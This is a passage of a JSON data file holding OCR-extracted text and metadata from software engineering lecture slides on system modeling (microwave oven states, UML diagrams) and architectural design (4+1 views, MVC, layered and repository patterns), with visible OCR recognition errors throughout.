| "source_file": "/workspace/data/converted/CO3001_Software_Engineering/Chapter_6/slide_046.png", |
| "page_index": 226, |
| "language": "en", |
| "ocr_engine": "PaddleOCR 3.2", |
| "extractor_version": "1.0.0", |
| "timestamp": "2025-10-31T12:56:05+07:00" |
| } |
| }, |
| "CO3001-chapter-6-slide-227-0000": { |
| "id": "CO3001-chapter-6-slide-227-0000", |
| "text": "STATES AND STIMULL EOR THE MICROWAVE OVEN State Description The oven is waiting for input. The display shows the Waiting current time. The oven power is set to 3oo watts. The display shows Half power Half power' The oven power is set to 600 watts. The display shows Full power 'Full power'. The cooking time is set to the user's input value. The Set time display shows the cooking time selected l and l is updated as the time is set. Oven operation is disabled for safety. Interior oven Disabled Iight is on. Display shows 'Not ready'. Oven operation is enabled. Interior oven light is off. Enabled Display shows 'Ready to cook'. Oven in operation. Interior oven 1 light is on. Display shows the timer countdown. On 1 C completion l of BK Operation cooking, the buzzer is sounded for five secondspT@venM MoDeunG Sep 2019 47 TP.HCM", |
| "metadata": { |
| "doc_type": "slide", |
| "course_id": "CO3001", |
| "source_file": "/workspace/data/converted/CO3001_Software_Engineering/Chapter_6/slide_047.png", |
| "page_index": 227, |
| "language": "en", |
| "ocr_engine": "PaddleOCR 3.2", |
| "extractor_version": "1.0.0", |
| "timestamp": "2025-10-31T12:56:13+07:00" |
| } |
| }, |
| "CO3001-chapter-6-slide-228-0000": { |
| "id": "CO3001-chapter-6-slide-228-0000", |
| "text": "STATES AND STIMULL FOR THE MICROWAVE OVEN (CONT.) Stimulus Description Half power The user has pressed the half-power button. Full power The user has pressed the full-power button. Timer The user has pressed one of the timer buttons The user has pressed a numeric key. Number Door open The oven door switch is not closed Door closeo The oven door switch is closed Start The user has pressed the Start button. Cancel The user has pressed the Cancel button BK Sep 2019 CHAPTER 5 SYSTEM MODELING 48 TP.HCM", |
| "metadata": { |
| "doc_type": "slide", |
| "course_id": "CO3001", |
| "source_file": "/workspace/data/converted/CO3001_Software_Engineering/Chapter_6/slide_048.png", |
| "page_index": 228, |
| "language": "en", |
| "ocr_engine": "PaddleOCR 3.2", |
| "extractor_version": "1.0.0", |
| "timestamp": "2025-10-31T12:56:18+07:00" |
| } |
| }, |
| "CO3001-chapter-6-slide-229-0000": { |
| "id": "CO3001-chapter-6-slide-229-0000", |
| "text": "SUMMARY A model is an abstract view of a system Context models show how a system,is positioned in an environment with other systems and processes. describe the Tnteractions between users and systems in the system external actors; Seguence diagrams add more information to these by showing interactions s between system objects. Structural models show the organization and architecture of a system. Class diagrams are used to define the static structure of classes in a system and their associations. BK Sep 2019 CHAPTER 5 SYSTEM MODELING 49 TP.HCM", |
| "metadata": { |
| "doc_type": "slide", |
| "course_id": "CO3001", |
| "source_file": "/workspace/data/converted/CO3001_Software_Engineering/Chapter_6/slide_049.png", |
| "page_index": 229, |
| "language": "en", |
| "ocr_engine": "PaddleOCR 3.2", |
| "extractor_version": "1.0.0", |
| "timestamp": "2025-10-31T12:56:22+07:00" |
| } |
| }, |
| "CO3001-chapter-6-slide-230-0000": { |
| "id": "CO3001-chapter-6-slide-230-0000", |
| "text": "SUMMARY (CONT.) Behavioral models are used to describe the dynamic behavior of an executing system. Can be by the perspective of the data processed by the system, or by the events that stimulate responses from a system. Activity diagrams may be used to model the process step. one behavior in response to internal or external events. BK Sep 2019 CHAPTER 5 SYSTEM MODELING 50 TP.HCM", |
| "metadata": { |
| "doc_type": "slide", |
| "course_id": "CO3001", |
| "source_file": "/workspace/data/converted/CO3001_Software_Engineering/Chapter_6/slide_050.png", |
| "page_index": 230, |
| "language": "en", |
| "ocr_engine": "PaddleOCR 3.2", |
| "extractor_version": "1.0.0", |
| "timestamp": "2025-10-31T12:56:26+07:00" |
| } |
| }, |
| "CO3001-chapter-6-slide-231-0000": { |
| "id": "CO3001-chapter-6-slide-231-0000", |
| "text": "MORE ON UML Self-study BK Sep 2019 CHAPLER 5 SYSIEM MODELING 51 TP.HCM", |
| "metadata": { |
| "doc_type": "slide", |
| "course_id": "CO3001", |
| "source_file": "/workspace/data/converted/CO3001_Software_Engineering/Chapter_6/slide_051.png", |
| "page_index": 231, |
| "language": "en", |
| "ocr_engine": "PaddleOCR 3.2", |
| "extractor_version": "1.0.0", |
| "timestamp": "2025-10-31T12:56:29+07:00" |
| } |
| }, |
| "CO3001-chapter-6-slide-232-0000": { |
| "id": "CO3001-chapter-6-slide-232-0000", |
| "text": "COLLABORATION / COMMUNICATION DIAGRAMS name of owning element frame heading diagram frame orenclosing namespace diagram kind interaction Online Bookshop :Inventory guard message 2.3 [order complete]: 1.1:search0 update_inventory() sequence expression iteration lifeline class 1.2[interested]: name name view_book() 1*find_books Y.Y lifeline bBook :Online Bookshop 1.3[decided to buy] lifeline 2:checkout() add_to_cartO selector 2.2[not emptycart] 2.1:get_books sc[customer]: make_order Shopping Cart sequence expression :Order BK lifeline Sep 2019 Ouml-diagrams.org SYSTEM MODELING 52 TP.HCM", |
| "metadata": { |
| "doc_type": "slide", |
| "course_id": "CO3001", |
| "source_file": "/workspace/data/converted/CO3001_Software_Engineering/Chapter_6/slide_052.png", |
| "page_index": 232, |
| "language": "en", |
| "ocr_engine": "PaddleOCR 3.2", |
| "extractor_version": "1.0.0", |
| "timestamp": "2025-10-31T12:56:35+07:00" |
| } |
| }, |
| "CO3001-chapter-6-slide-233-0000": { |
| "id": "CO3001-chapter-6-slide-233-0000", |
| "text": "reaForm: ALoainForm AReglstration ADatabase :Student RegisterForm 1:submit(uname,psswd) 1.1:verify(uname,psswd 1.2:welcome 2:register 2.1create 1 3.submit(crsOffering) 3.1reg=fetchRegsrcOffering) 3.2:addStudent(code) 3.3setRegreg 3.4beSuccessful 2: register SEOEEOEEOS 1: submit(uname, psswd) Q : LoginForm 1.2[succ=true]: : Student welcome PAAAAAAS 3: sabmit(crsOffering) 2.: create 3.4:beSuccessful 1.1: succ := verify(uname, psswd) regForm:RegisterForm 3.1reg:=FetchReg(crsOffering) 3.3: SetReg(reg) 3.2:AddStudent(code) BK Sep 2019 :Registration CHAPTER 5 SYSTEM MODELING 53 TP.HCM Database", |
| "metadata": { |
| "doc_type": "slide", |
| "course_id": "CO3001", |
| "source_file": "/workspace/data/converted/CO3001_Software_Engineering/Chapter_6/slide_053.png", |
| "page_index": 233, |
| "language": "en", |
| "ocr_engine": "PaddleOCR 3.2", |
| "extractor_version": "1.0.0", |
| "timestamp": "2025-10-31T12:56:42+07:00" |
| } |
| }, |
| "CO3001-chapter-6-slide-234-0000": { |
| "id": "CO3001-chapter-6-slide-234-0000", |
| "text": "initial state Select site action state Commission architect V PAAAAAAS Develop plan V Bid plan sequential branch [not accepted] [else] concurrentfork activity state with submachine Do site work Do trade work) concurrentjoin object flow CertificateOfOccupancy Finish construction [completed] final state BK Sep 2019 1ODELING 54 TP.HCM", |
| "metadata": { |
| "doc_type": "slide", |
| "course_id": "CO3001", |
| "source_file": "/workspace/data/converted/CO3001_Software_Engineering/Chapter_6/slide_054.png", |
| "page_index": 234, |
| "language": "en", |
| "ocr_engine": "PaddleOCR 3.2", |
| "extractor_version": "1.0.0", |
| "timestamp": "2025-10-31T12:56:48+07:00" |
| } |
| }, |
| "CO3001-chapter-6-slide-235-0000": { |
| "id": "CO3001-chapter-6-slide-235-0000", |
| "text": "Decisions o oK Project Management Project Manager System Printer Enter Data y Report Criteria Generate Information Swimming lane [More Report Printer Prints Information Reports! [No More Reports! Concurrengy oK oK Project Management Project Manager System Printer ALl Enter Data [More V Reports Report Criteria Generate Information Report Print Information Monitor For Print Requests INC More Reports BK Sep 2019 55 TP.HCM", |
| "metadata": { |
| "doc_type": "slide", |
| "course_id": "CO3001", |
| "source_file": "/workspace/data/converted/CO3001_Software_Engineering/Chapter_6/slide_055.png", |
| "page_index": 235, |
| "language": "en", |
| "ocr_engine": "PaddleOCR 3.2", |
| "extractor_version": "1.0.0", |
| "timestamp": "2025-10-31T12:56:54+07:00" |
| } |
| }, |
| "CO3001-chapter-7-slide-236-0000": { |
| "id": "CO3001-chapter-7-slide-236-0000", |
| "text": "SOFTWARE ENGINEERING CO3001 CHAPTER 7 - ARCHITECTURE Anh Nguyen-Duc DESIGN Tho Quan-Thanh WEEK 7 BK TP.HCM Adapted from https://iansommerville.com/software-engineering-book/slides/", |
| "metadata": { |
| "doc_type": "slide", |
| "course_id": "CO3001", |
| "source_file": "/workspace/data/converted/CO3001_Software_Engineering/Chapter_7/slide_001.png", |
| "page_index": 236, |
| "language": "en", |
| "ocr_engine": "PaddleOCR 3.2", |
| "extractor_version": "1.0.0", |
| "timestamp": "2025-10-31T12:56:58+07:00" |
| } |
| }, |
| "CO3001-chapter-7-slide-237-0000": { |
| "id": "CO3001-chapter-7-slide-237-0000", |
| "text": "TOPICS COVERED Architectural design decisions Architectural views Architectural patterns Application architectures BK Sep 2019 CHAPTER 6. SOETWARE ARCHITECTURE DESIGN 2 TP.HCM", |
| "metadata": { |
| "doc_type": "slide", |
| "course_id": "CO3001", |
| "source_file": "/workspace/data/converted/CO3001_Software_Engineering/Chapter_7/slide_002.png", |
| "page_index": 237, |
| "language": "en", |
| "ocr_engine": "PaddleOCR 3.2", |
| "extractor_version": "1.0.0", |
| "timestamp": "2025-10-31T12:57:01+07:00" |
| } |
| }, |
| "CO3001-chapter-7-slide-238-0000": { |
| "id": "CO3001-chapter-7-slide-238-0000", |
| "text": "SOFTWARE ARCHITECTURE Describes how the system is organized as a set of communicating components Architecture? \"Architecture\" can mean: (http://en.wikipedia.org/wiki/Architecture) A general term to describe buildings and other physical stryctures. The art and science of designing buildings and (some) non- building structures. The style of design and method of construction of buildings and other physical structures. BK Sep 2019 CHAPTER 6. SOFTWARE ARCHITECTURE DESIGN 3 TP.HCM", |
| "metadata": { |
| "doc_type": "slide", |
| "course_id": "CO3001", |
| "source_file": "/workspace/data/converted/CO3001_Software_Engineering/Chapter_7/slide_003.png", |
| "page_index": 238, |
| "language": "en", |
| "ocr_engine": "PaddleOCR 3.2", |
| "extractor_version": "1.0.0", |
| "timestamp": "2025-10-31T12:57:05+07:00" |
| } |
| }, |
| "CO3001-chapter-7-slide-239-0000": { |
| "id": "CO3001-chapter-7-slide-239-0000", |
| "text": "ARCHITECTURAL DESIGN 7 Concerned with: designing the overall structure of that system. The critical link between design and requirements engineering as it identifies the main structural components in a system and the relationships between them. Agile? An early stage: design an overall systems architecture. Refactoring the system architecture is usually expensive 1 BK Sep 2019 CHAPTER 6. SOETWARE ARCHITECTURE DESIGN 4 TP.HCM", |
| "metadata": { |
| "doc_type": "slide", |
| "course_id": "CO3001", |
| "source_file": "/workspace/data/converted/CO3001_Software_Engineering/Chapter_7/slide_004.png", |
| "page_index": 239, |
| "language": "en", |
| "ocr_engine": "PaddleOCR 3.2", |
| "extractor_version": "1.0.0", |
| "timestamp": "2025-10-31T12:57:10+07:00" |
| } |
| }, |
| "CO3001-chapter-7-slide-240-0000": { |
| "id": "CO3001-chapter-7-slide-240-0000", |
| "text": "THE ARCHITECTURE OE A PACKING ROBOT CONTROL SYSTEM Vision system Object Arm Gripper identification controller controller system Packaging selection system Packing Conveyor system controller BK Sep 2019 CHAPTER 6. SOETWARE ARCHITECTURE DESIGN 5 TP.HCM", |
| "metadata": { |
| "doc_type": "slide", |
| "course_id": "CO3001", |
| "source_file": "/workspace/data/converted/CO3001_Software_Engineering/Chapter_7/slide_005.png", |
| "page_index": 240, |
| "language": "en", |
| "ocr_engine": "PaddleOCR 3.2", |
| "extractor_version": "1.0.0", |
| "timestamp": "2025-10-31T12:57:14+07:00" |
| } |
| }, |
| "CO3001-chapter-7-slide-241-0000": { |
| "id": "CO3001-chapter-7-slide-241-0000", |
| "text": "ARCHITECTURAL ABSTRACTION Architecture in the small is concerned with the architecture of individual programs. Architecture in the large is concerned with the architecture of complex enterprise program components. Software architecture is important because it affects the performance, robustness, distributability, and maintainability of a system. . Func. reqs.: individual components . Non-func. reqs: depend on the system architecture BK Sep 2019 CHAPTER 6. SOFTWARE ARCHITECTURE DESIGN 6 TP.HCM", |
| "metadata": { |
| "doc_type": "slide", |
| "course_id": "CO3001", |
| "source_file": "/workspace/data/converted/CO3001_Software_Engineering/Chapter_7/slide_006.png", |
| "page_index": 241, |
| "language": "en", |
| "ocr_engine": "PaddleOCR 3.2", |
| "extractor_version": "1.0.0", |
| "timestamp": "2025-10-31T12:57:20+07:00" |
| } |
| }, |
| "CO3001-chapter-7-slide-242-0000": { |
| "id": "CO3001-chapter-7-slide-242-0000", |
| "text": "ADVANTAGES OE EXPLICIT ARCHITECTURE Stakeholder communication Architecture may be used as a focus of discussion by system stakeholders. System analysis Means that analysis of whether the system can meet its non-functional reguirements is possible. Large-scale reuse The architecture may be reusable across a range of systems Product-line architectures may be developed. BK Sep 2019 CHAPTER 6. SOETWARE ARCHITECTURE DESIGN 7 TP.HCM", |
| "metadata": { |
| "doc_type": "slide", |
| "course_id": "CO3001", |
| "source_file": "/workspace/data/converted/CO3001_Software_Engineering/Chapter_7/slide_007.png", |
| "page_index": 242, |
| "language": "en", |
| "ocr_engine": "PaddleOCR 3.2", |
| "extractor_version": "1.0.0", |
| "timestamp": "2025-10-31T12:57:24+07:00" |
| } |
| }, |
| "CO3001-chapter-7-slide-243-0000": { |
| "id": "CO3001-chapter-7-slide-243-0000", |
| "text": "ARCHITECTURAL REPRESENTATIONS Mostly use: Simple, informal block diagrams showing entities and relationships Problem: lack semantics Box and line diagrams - Very abstract - do not show the nature of component relationships nor the externally visible properties of the sub-systems. However, useful for communication with stakeholders and for project planning. BK Sep 2019 CHAPTER 6. SOETWARE ARCHITECTURE DESIGN 8 TP.HCM", |
| "metadata": { |
| "doc_type": "slide", |
| "course_id": "CO3001", |
| "source_file": "/workspace/data/converted/CO3001_Software_Engineering/Chapter_7/slide_008.png", |
| "page_index": 243, |
| "language": "en", |
| "ocr_engine": "PaddleOCR 3.2", |
| "extractor_version": "1.0.0", |
| "timestamp": "2025-10-31T12:57:29+07:00" |
| } |
| }, |
| "CO3001-chapter-7-slide-244-0000": { |
| "id": "CO3001-chapter-7-slide-244-0000", |
| "text": "USE OF ARCHITECTURAL MODELS As a way of facilitating discussion about the system design A high-level architectural view is useful for communication with system stakeholders and project planning been designed - to produce a complete system model that shows the their connections. BK Sep 2019 CHAPTER 6. SOETWARE ARCHITECTURE DESIGN 9 TP.HCM", |
| "metadata": { |
| "doc_type": "slide", |
| "course_id": "CO3001", |
| "source_file": "/workspace/data/converted/CO3001_Software_Engineering/Chapter_7/slide_009.png", |
| "page_index": 244, |
| "language": "en", |
| "ocr_engine": "PaddleOCR 3.2", |
| "extractor_version": "1.0.0", |
| "timestamp": "2025-10-31T12:57:33+07:00" |
| } |
| }, |
| "CO3001-chapter-7-slide-245-0000": { |
| "id": "CO3001-chapter-7-slide-245-0000", |
| "text": "ARCHITECTURE DECOMPOSITION Software systems: <= inter-relationship complexity problem Goals : Functions Maximizing cohesion ofthe upper system FO (context) Minimizing coupling A-1 Mission 6f the system FO System-of-interest A-0 Cohesion: degree of communication taken F1 Main functions F2 6f the system place among the module's elements F3 F4 A0 Coupling: degree of communication among modules Functions F21 decomposition F22 (refinement) F23 A2 BK Sep 2019 CHAPTER 6. SOFTWARE ARCHITECTURE DESIGN 10 TP.HCM", |
| "metadata": { |
| "doc_type": "slide", |
| "course_id": "CO3001", |
| "source_file": "/workspace/data/converted/CO3001_Software_Engineering/Chapter_7/slide_010.png", |
| "page_index": 245, |
| "language": "en", |
| "ocr_engine": "PaddleOCR 3.2", |
| "extractor_version": "1.0.0", |
| "timestamp": "2025-10-31T12:57:38+07:00" |
| } |
| }, |
| "CO3001-chapter-7-slide-246-0000": { |
| "id": "CO3001-chapter-7-slide-246-0000", |
| "text": "ARCHITECTURAL DESIGN DECISIONS BK Sep 2019 CHAPIER 6.SOFLWARE ARCHULECLURE DESIGN 11 TP.HCM", |
| "metadata": { |
| "doc_type": "slide", |
| "course_id": "CO3001", |
| "source_file": "/workspace/data/converted/CO3001_Software_Engineering/Chapter_7/slide_011.png", |
| "page_index": 246, |
| "language": "en", |
| "ocr_engine": "PaddleOCR 3.2", |
| "extractor_version": "1.0.0", |
| "timestamp": "2025-10-31T12:57:41+07:00" |
| } |
| }, |
| "CO3001-chapter-7-slide-247-0000": { |
| "id": "CO3001-chapter-7-slide-247-0000", |
| "text": "ARCHITECTURAL DESIGN DECISIONS Is there a generic application How will the system be architecture that can act as a What architectural patterns or distributed across hardware template for the system that is styles might be used? cores or processors? being designed? What strategy will be used to What will be the fundamental 2 approach used to structure control the operation of the the system? components in the system? How will the structural What architectural organization How should the architecture components in the system be is best for delivering the of the system be decomposed into non-functional reguirements documented? sub-components? of the system? BK Sep 2019 CHAPTER 6. SOETWARE ARCHITECTURE DESIGN 12 TP.HCM", |
| "metadata": { |
| "doc_type": "slide", |
| "course_id": "CO3001", |
| "source_file": "/workspace/data/converted/CO3001_Software_Engineering/Chapter_7/slide_012.png", |
| "page_index": 247, |
| "language": "en", |
| "ocr_engine": "PaddleOCR 3.2", |
| "extractor_version": "1.0.0", |
| "timestamp": "2025-10-31T12:57:47+07:00" |
| } |
| }, |
| "CO3001-chapter-7-slide-248-0000": { |
| "id": "CO3001-chapter-7-slide-248-0000", |
| "text": "ARCHITECTURE AND SYSTEM CHARACTERISTICS Performance Localize critical operations and minimize communications. Use large rather than fine-grain components. Security Use a layered architecture with critical assets in the inner layers. Safety Localize safety-critical features in a small number of sub- systems. Availability Include redundant components and mechanisms for fault tolerance. Maintainability BK Sep 2019 13 TP.HCM", |
| "metadata": { |
| "doc_type": "slide", |
| "course_id": "CO3001", |
| "source_file": "/workspace/data/converted/CO3001_Software_Engineering/Chapter_7/slide_013.png", |
| "page_index": 248, |
| "language": "en", |
| "ocr_engine": "PaddleOCR 3.2", |
| "extractor_version": "1.0.0", |
| "timestamp": "2025-10-31T12:57:52+07:00" |
| } |
| }, |
| "CO3001-chapter-7-slide-249-0000": { |
| "id": "CO3001-chapter-7-slide-249-0000", |
| "text": "ARCHITECTURAL VIEWS BK Sep 2019 CHAPIER 6.SOFLWARE ARCHULECLURE DESIGN 14 TP.HCM", |
| "metadata": { |
| "doc_type": "slide", |
| "course_id": "CO3001", |
| "source_file": "/workspace/data/converted/CO3001_Software_Engineering/Chapter_7/slide_014.png", |
| "page_index": 249, |
| "language": "en", |
| "ocr_engine": "PaddleOCR 3.2", |
| "extractor_version": "1.0.0", |
| "timestamp": "2025-10-31T12:57:55+07:00" |
| } |
| }, |
| "CO3001-chapter-7-slide-250-0000": { |
| "id": "CO3001-chapter-7-slide-250-0000", |
| "text": "ARCHITECTURAL VIEWS What notations should be used for describing architectural models? Each architectural model only shows one view or how a system is decomposed into modules how the run-time processes interact system components are distributed across a network BK Sep 2019 CHAPTER 6. SOFTWARE ARCHITECTURE DESIGN 15 TP.HCM", |
| "metadata": { |
| "doc_type": "slide", |
| "course_id": "CO3001", |
| "source_file": "/workspace/data/converted/CO3001_Software_Engineering/Chapter_7/slide_015.png", |
| "page_index": 250, |
| "language": "en", |
| "ocr_engine": "PaddleOCR 3.2", |
| "extractor_version": "1.0.0", |
| "timestamp": "2025-10-31T12:57:59+07:00" |
| } |
| }, |
| "CO3001-chapter-7-slide-251-0000": { |
| "id": "CO3001-chapter-7-slide-251-0000", |
| "text": "ARCHITECTURAL VIEWS Logical Physical view view System architecture Development Process view view need to present multiple views of the software architecture. BK Sep 2019 CHAPTER 6. SOETWARE ARCHITECTURE DESIGN 16 TP.HCM", |
| "metadata": { |
| "doc_type": "slide", |
| "course_id": "CO3001", |
| "source_file": "/workspace/data/converted/CO3001_Software_Engineering/Chapter_7/slide_016.png", |
| "page_index": 251, |
| "language": "en", |
| "ocr_engine": "PaddleOCR 3.2", |
| "extractor_version": "1.0.0", |
| "timestamp": "2025-10-31T12:58:03+07:00" |
| } |
| }, |
| "CO3001-chapter-7-slide-252-0000": { |
| "id": "CO3001-chapter-7-slide-252-0000", |
| "text": "4 + 1 VIEW MODEL OE SOFTWARE ARCHITECTURE shows the key shows how the software is abstractions in the decomposed for system as obiects or development. classes. Logical View Implementation View Analysts/Designers End-user Programmers Structure Functionality Software management Use-Case View Process View Deployment View System Integrators System engineering Performance System topology Scalability Delivery.installation Throughput Communication Conceptual Physical shows how, at run-time, shows the system hardware the system is composed of and how software interacting processes. components are distributed across the processors in the BK Sep 2019 CHAPTER 6. SOFTWARE ARCHITECTURE DESIGN 17 TP.HCM svstem.", |
| "metadata": { |
| "doc_type": "slide", |
| "course_id": "CO3001", |
| "source_file": "/workspace/data/converted/CO3001_Software_Engineering/Chapter_7/slide_017.png", |
| "page_index": 252, |
| "language": "en", |
| "ocr_engine": "PaddleOCR 3.2", |
| "extractor_version": "1.0.0", |
| "timestamp": "2025-10-31T12:58:09+07:00" |
| } |
| }, |
| "CO3001-chapter-7-slide-253-0000": { |
| "id": "CO3001-chapter-7-slide-253-0000", |
| "text": "4 + 1 VIEW MODEL VS UML 7 Logical view: Class diagram, Communication diagram, Sequence diagram Process view: Activity diagram Development view: Component diagram, Package diagram. Physical view: Deployment c diagram Logical View ImplementationView Scenarios (+1): OK Analysts/Designers End-user Programmers Structure Functionality Software management Use-Case View Use-case Process View Deployment View System Integrators System engineering Performance System topology Scalability Deliveryinstallation BK Throughput Communication Sep 2019 18 TP.HCM Conceptual Physical", |
| "metadata": { |
| "doc_type": "slide", |
| "course_id": "CO3001", |
| "source_file": "/workspace/data/converted/CO3001_Software_Engineering/Chapter_7/slide_018.png", |
| "page_index": 253, |
| "language": "en", |
| "ocr_engine": "PaddleOCR 3.2", |
| "extractor_version": "1.0.0", |
| "timestamp": "2025-10-31T12:58:15+07:00" |
| } |
| }, |
| "CO3001-chapter-7-slide-254-0000": { |
| "id": "CO3001-chapter-7-slide-254-0000", |
| "text": "ARCHITECTURAL PATTERNS BK Sep 2019 CHAPIER 6.SOFLWARE ARCHULECLURE DESIGN 19 TP.HCM", |
| "metadata": { |
| "doc_type": "slide", |
| "course_id": "CO3001", |
| "source_file": "/workspace/data/converted/CO3001_Software_Engineering/Chapter_7/slide_019.png", |
| "page_index": 254, |
| "language": "en", |
| "ocr_engine": "PaddleOCR 3.2", |
| "extractor_version": "1.0.0", |
| "timestamp": "2025-10-31T12:58:18+07:00" |
| } |
| }, |
| "CO3001-chapter-7-slide-255-0000": { |
| "id": "CO3001-chapter-7-slide-255-0000", |
| "text": "ARCHITECTURAL PATTERNS Patterns are a means of representing, sharing and reusing knowledge. Patterns should include information about when they are and when the are not useful. Patterns may be represented using tabular and graphical descriptions. An architectural pattern is a stylized description of good design practice, which has been tried and tested in different environments. BK Sep 2019 CHAPTER 6. SOFTWARE ARCHITECTURE DESIGN 20 TP.HCM", |
| "metadata": { |
| "doc_type": "slide", |
| "course_id": "CO3001", |
| "source_file": "/workspace/data/converted/CO3001_Software_Engineering/Chapter_7/slide_020.png", |
| "page_index": 255, |
| "language": "en", |
| "ocr_engine": "PaddleOCR 3.2", |
| "extractor_version": "1.0.0", |
| "timestamp": "2025-10-31T12:58:23+07:00" |
| } |
| }, |
| "CO3001-chapter-7-slide-256-0000": { |
| "id": "CO3001-chapter-7-slide-256-0000", |
| "text": "THE MODEL-VIEW-CONTROLLER (MVC) PATTERN Name MVC (Model-View-Controller) Description Separates presentation and interaction from the system data. The system is structured into three logical components that interact with each other. The Model component manages the system data and associated operations on that data. The View component defines and manages how the data is presented to the user. The Controller component manages user interaction (e.g., key presses, mouse clicks, etc.) and passes these interactions to the View and the Model. Example The next slide shows the architecture of a web-based application system organized using the MVC pattern. When used Used when there are multiple ways to view and interact with data. Also used when the future requirements for interaction and presentation of data are unknown. Advantages Allows the data to change independently of its representation and vice versa. Supports presentation of the same data in different ways with changes made in one representation shown in all of them. Disadvantages Can involve additional code and code complexity when the data model and interactions are simple. BK Sep 2019 CHAPTER 6. SOFTWARE ARCHITECTURE DESIGN 21 TP.HCM", |
| "metadata": { |
| "doc_type": "slide", |
| "course_id": "CO3001", |
| "source_file": "/workspace/data/converted/CO3001_Software_Engineering/Chapter_7/slide_021.png", |
| "page_index": 256, |
| "language": "en", |
| "ocr_engine": "PaddleOCR 3.2", |
| "extractor_version": "1.0.0", |
| "timestamp": "2025-10-31T12:58:30+07:00" |
| } |
| }, |
| "CO3001-chapter-7-slide-257-0000": { |
| "id": "CO3001-chapter-7-slide-257-0000", |
| "text": "CONCEPTUAL VIEW OE THE MVC AND WEB-BASED MVC Controller View View selection Maps user actions Renders model to model updates Requests model updates Selects view Sends user events to User events controller A Change notification Browser State State query change Model Encapsulates application Controller View state Form to Notifies view of state display HTTP request processing Dynamic page changes Application-specitic logic generation Data validation Forms management User events Change notification Update Refresh request request Model Business logic Database BK Sep 2019 CHAPTER 6. SOETWARE ARCHITECTURE DESIGN 22 TP.HCM", |
| "metadata": { |
| "doc_type": "slide", |
| "course_id": "CO3001", |
| "source_file": "/workspace/data/converted/CO3001_Software_Engineering/Chapter_7/slide_022.png", |
| "page_index": 257, |
| "language": "en", |
| "ocr_engine": "PaddleOCR 3.2", |
| "extractor_version": "1.0.0", |
| "timestamp": "2025-10-31T12:58:36+07:00" |
| } |
| }, |
| "CO3001-chapter-7-slide-258-0000": { |
| "id": "CO3001-chapter-7-slide-258-0000", |
| "text": "READ AND APPLY THE CODE IN HTTPS://WWW.JAVATPOINT.COM/MVC-ARCHITECTURE- IN-JAVA TO VIEW ALL MCPS FROM THE BACK OEEICERS' VIEW BK Sep 2019 CHAPTER 6. SOETWARE ARCHITECTURE DESIGN 23 TP.HCM", |
| "metadata": { |
| "doc_type": "slide", |
| "course_id": "CO3001", |
| "source_file": "/workspace/data/converted/CO3001_Software_Engineering/Chapter_7/slide_023.png", |
| "page_index": 258, |
| "language": "en", |
| "ocr_engine": "PaddleOCR 3.2", |
| "extractor_version": "1.0.0", |
| "timestamp": "2025-10-31T12:58:40+07:00" |
| } |
| }, |
| "CO3001-chapter-7-slide-259-0000": { |
| "id": "CO3001-chapter-7-slide-259-0000", |
| "text": "THE LAYERED ARCHITECTURE PATTERN Name Layered architecture Description Organizes the system into layers with related functionality associated with each layer. A layer provides services to the layer above it so the lowest-level layers represent core services that are likely to be used throughout the system. See Figure 6.6. Example A layered model of a system for sharing copyright documents held in different libraries When used Used when building new facilities on top of existing systems; when the development is spread across several teams with each team responsibility for a layer of functionality; when there is a requirement for multi-level security. Advantages Allows replacement of entire layers so long as the interface is maintained. Redundant facilities (e.g., authentication) can be provided in each layer to increase the dependability of the system. Disadvantages In practice, providing a clean separation between layers is often difficult and a high-level layer may have to interact directly with lower- level layers rather than through the layer immediately below it. Performance can be a problem because of multiple levels of interpretation of a service request as it is processed at each layer. BK Sep 2019 CHAPTER 6. SOFTWARE ARCHITECTURE DESIGN 24 P.HCM", |
| "metadata": { |
| "doc_type": "slide", |
| "course_id": "CO3001", |
| "source_file": "/workspace/data/converted/CO3001_Software_Engineering/Chapter_7/slide_024.png", |
| "page_index": 259, |
| "language": "en", |
| "ocr_engine": "PaddleOCR 3.2", |
| "extractor_version": "1.0.0", |
| "timestamp": "2025-10-31T12:58:47+07:00" |
| } |
| }, |
| "CO3001-chapter-7-slide-260-0000": { |
| "id": "CO3001-chapter-7-slide-260-0000", |
| "text": "A GENERIC LAYERED ARCHITECTURE A generic layered architecture User interface The architecture of the iLearn system User interface management Authentication and authorization Browser-based user interface iLearn app Core business logic/application functionality Configuration services System utilities Group Application Identity management management management System support (Os, database etc.) Application services Email Messaging Video conferencing Newspaper archive Word processing Simulation Video storage Resource finder Spreadsheet Virtual learning environment History archive Utility services Authentication Logging and monitoring Interfacing User storage Application storage Search BK Sep 2019 CHAPTER 6. SOETWARE ARCHITECTURE DESIGN 25 TP.HCM", |
| "metadata": { |
| "doc_type": "slide", |
| "course_id": "CO3001", |
| "source_file": "/workspace/data/converted/CO3001_Software_Engineering/Chapter_7/slide_025.png", |
| "page_index": 260, |
| "language": "en", |
| "ocr_engine": "PaddleOCR 3.2", |
| "extractor_version": "1.0.0", |
| "timestamp": "2025-10-31T12:58:53+07:00" |
| } |
| }, |
| "CO3001-chapter-7-slide-261-0000": { |
| "id": "CO3001-chapter-7-slide-261-0000", |
| "text": "REPOSITORY ARCHITECTURE Sub-systems must exchange data. This may be done in two ways: Shared data is held in a central database or repository and may be accessed by all sub-systems; Each sub-system maintains its own database and passes data explicitly to other sub-systems. When large e amounts of data are to be shared, the repository model of sharing is most commonly used a this is an efficient data sharing mechanism. BK Sep 2019 CHAPTER 6. SOFTWARE ARCHITECTURE DESIGN 26 TP.HCM", |
| "metadata": { |
| "doc_type": "slide", |
| "course_id": "CO3001", |
| "source_file": "/workspace/data/converted/CO3001_Software_Engineering/Chapter_7/slide_026.png", |
| "page_index": 261, |
| "language": "en", |
| "ocr_engine": "PaddleOCR 3.2", |
| "extractor_version": "1.0.0", |
| "timestamp": "2025-10-31T12:58:58+07:00" |
| } |
| }, |
| "CO3001-chapter-7-slide-262-0000": { |
| "id": "CO3001-chapter-7-slide-262-0000", |
| "text": "THE REPOSITORY PATTERN Name Repository Description All data in a system is managed in a central repository that is accessible to all system components. Components do not interact directly, only through the repository. Example The next is an example of an IDE where the components use a repository of system design information. Each software tool generates information which is then available for use by other tools. When used You should use this pattern when you have a system in which large volumes of information are generated that has to be stored for a long time. You may also use it in data-driven systems where the inclusion of data in the repository triggers an action or tool. Advantages Components can be independent-they do not need to know of the existence of other components. Changes made by one component can be propagated to all components. All data can be managed consistently (e.g., backups done at the same time) as it is all in one place. Disadvantages The repository is a single point of failure so problems in the repository affect the whole system. May be inefficiencies in organizing all communication through the repository. Distributing the repository BK Sep 2019 across several computers may be difficult CHAPTER 6. SOFTWARE ARCHITECTURE DESIGN 27 TP.HCM", |
